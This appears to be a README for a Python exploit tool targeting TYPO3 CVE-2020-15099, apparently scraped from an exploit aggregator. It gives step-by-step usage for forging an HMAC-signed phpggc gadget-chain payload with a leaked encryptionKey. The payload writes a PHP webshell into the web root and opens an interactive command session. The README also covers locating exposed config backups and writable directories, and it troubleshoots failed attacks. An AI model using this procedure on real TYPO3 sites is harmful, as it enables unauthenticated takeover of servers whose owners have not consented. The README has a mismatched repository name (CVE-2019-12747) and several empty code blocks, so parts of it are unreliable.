## https://sploitus.com/exploit?id=DBD5F08D-1EB8-5EA3-9691-8C4BF7E3C263
# TYPO3 CVE-2020-15099 โ Unauthenticated RCE
PHP Object Injection via the TYPO3 Form Framework frontend controller, exploitable when the `encryptionKey` is known.
## Vulnerability
TYPO3 versions **9.0.0 โ 9.5.19** pass a user-controlled `__state` parameter through `unserialize()` after validating an HMAC signature. Because the HMAC is computed using the `encryptionKey` from `LocalConfiguration.php`, an attacker who obtains that key can forge a valid signature for an arbitrary serialized payload and achieve remote code execution โ **without any authentication**.
The vulnerable code path is in `FormRuntime.php`:
```php
$serializedFormState = $this->hashService->validateAndStripHmac($serializedFormStateWithHmac);
$this->formState = unserialize(base64_decode($serializedFormState));
```
The exploit uses the **Guzzle/FW1** gadget chain (available in [phpggc](https://github.com/ambionics/phpggc)) to write a PHP webshell to a publicly accessible directory.
**Reference:** [TYPO3-CORE-SA-2020-007](https://typo3.org/security/advisory/typo3-core-sa-2020-007) ยท [Synacktiv write-up](https://www.synacktiv.com/en/publications/typo3-leak-to-remote-code-execution)
---
## Requirements
| Requirement | Notes |
|---|---|
| Python 3.10+ | Uses `str \| None` union syntax |
| `requests` library | `pip install requests` |
| [phpggc](https://github.com/ambionics/phpggc) | Gadget chain generator |
| Docker with `php:7.2-cli` image | Required for correct payload serialization format |
| TYPO3 `encryptionKey` | Leaked via `LocalConfiguration.php` or a backup/`.old` file |
| A TYPO3 frontend form | Any unauthenticated form that uses the Form Framework |
> **Why PHP 7.2?**
> PHP serializes objects differently across major versions. TYPO3 9.x runs on PHP 7.2, so the gadget chain payload must be generated with PHP 7.2. Using PHP 8.x produces a payload that silently fails. The script uses `docker run php:7.2-cli` by default to guarantee the correct format.
---
## Installation
```bash
# Clone this repository
git clone https://github.com/youruser/typo3-cve-2019-12747
cd typo3-cve-2019-12747
# Install Python dependencies
pip install requests
# Clone phpggc
git clone https://github.com/ambionics/phpggc
# Pull the PHP 7.2 Docker image
sudo docker pull php:7.2-cli
```
---
## Usage
```
python3 typo3_exploit.py [options]
Required:
--target Base URL of the TYPO3 instance (e.g. http://target.com)
--key TYPO3 encryptionKey (96-char hex string)
--form-id Page ID of the page containing form (e.g. 38)
--form-name Form identifier attribute (e.g. contactForm-144)
--phpggc-dir Path to phpggc directory (e.g. ./phpggc)
--remote-path Absolute server path for the shell (e.g. /var/www/html/public/fileadmin/_temp_/shell.php)
--shell-url Public URL to access the shell (e.g. http://target.com/fileadmin/_temp_/shell.php)
Optional:
--shell-local Local temp path for shell file (default: /tmp/typo3_shell.php)
--no-docker Use local PHP binary instead of Docker
--php-bin Path to PHP 7.2 binary (default: php, used with --no-docker)
--timeout HTTP request timeout in seconds (default: 30)
--sleep Wait time after exploit before check (default: 3)
--no-shell Exit after uploading, skip interactive session
```
### Example
```bash
python3 typo3_exploit.py \
--target http://target.com \
--key 712dd4d9c583482940b75514e31400c11bdcbc7374c8e62fff958fcd80e8353490b0fdcf4d0ee25b40cf81f523609c0b \
--form-id 38 \
--form-name contactForm-144 \
--phpggc-dir ./phpggc \
--remote-path /var/www/html/public/fileadmin/_temp_/shell.php \
--shell-url http://target.com/fileadmin/_temp_/shell.php
```
### Using a local PHP 7.2 binary instead of Docker
```bash
python3 typo3_exploit.py \
--target http://target.com \
--key \
--form-id 38 \
--form-name contactForm-144 \
--phpggc-dir ./phpggc \
--remote-path /var/www/html/public/fileadmin/_temp_/shell.php \
--shell-url http://target.com/fileadmin/_temp_/shell.php \
--no-docker \
--php-bin /usr/bin/php7.2
```
---
## How it works
```
1. Fetch the form page
โ Extract fresh cHash (required by TYPO3 for cache validation)
โ Extract __trustedProperties (prevents BadRequestException)
2. Generate the gadget chain payload
โ phpggc Guzzle/FW1 writes the shell to --remote-path on the server
โ Must be generated with PHP 7.2 (Docker used by default)
3. Sign the payload
โ TYPO3 uses hash_hmac('sha1', payload, encryptionKey)
โ Appended as a 40-character hex suffix
4. POST the payload
โ Sent as tx_form_formframework[][__state]
โ Server validates HMAC, then calls unserialize()
โ Guzzle's __destruct() triggers and writes the shell file
โ HTTP 500 response is expected and normal
5. Verify and interact
โ Shell is accessed via GET ?cmd=
โ Interactive session is started
```
---
## Finding the required parameters
### `--key` โ encryptionKey
Look for exposed configuration files:
```
/typo3conf/LocalConfiguration.php โ main config (usually protected)
/typo3conf/LocalConfiguration.old โ backup, sometimes world-readable
/typo3conf/LocalConfiguration.bak
```
The key is a 96-character hex string:
```php
'encryptionKey' => '712dd4d9c583482940b7...',
```
### `--form-id` โ Page ID
Browse the TYPO3 frontend and find a page with a Form Framework form. The page ID is in the URL:
```
http://target.com/index.php?id=38
```
### `--form-name` โ Form identifier
View the page source and search for `tx_form_formframework`:
```html
```
The form name is `contactForm-144`.
### `--remote-path` โ Server-side write path
The path must be:
- Writable by the web server process
- Inside the web root (so the shell is accessible via HTTP)
Common writable TYPO3 directories:
```
/var/www/html/public/fileadmin/_temp_/
/var/www/html/public/fileadmin/user_upload/
/var/www/html/public/typo3temp/
```
If you are unsure of the server's document root, you can embed a path-discovery payload in the shell before running the exploit:
```php
```
---
## Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
| Shell not found after exploit | Wrong `--remote-path` | Try other common paths |
| Shell not found after exploit | PHP version mismatch | Ensure Docker is used or use PHP 7.2 |
| HMAC validation error (500 with no write) | Wrong `--key` | Double-check the encryptionKey |
| phpggc fails | Incompatible gadget chains in phpggc | Delete non-Guzzle chains: `find phpggc/gadgetchains -mindepth 1 -maxdepth 1 -type d ! -name Guzzle -exec rm -rf {} +` |
| Docker permission denied | Docker requires sudo | Run with `sudo` or add user to `docker` group |
| cHash not found | Form page requires authentication or different URL | Check the page manually |
---
## Disclaimer
This tool is provided for **authorized security testing and educational purposes only**.
Use only against systems you own or have explicit written permission to test.
The author is not responsible for any misuse or damage caused by this tool.
---
## References
- [TYPO3 Security Advisory TYPO3-CORE-SA-2020-007](https://typo3.org/security/advisory/typo3-core-sa-2020-007)
- [Synacktiv โ TYPO3: Leak to Remote Code Execution](https://www.synacktiv.com/en/publications/typo3-leak-to-remote-code-execution)
- [phpggc โ PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
- [CVE-2020-15099](https://nvd.nist.gov/vuln/detail/CVE-2020-15099)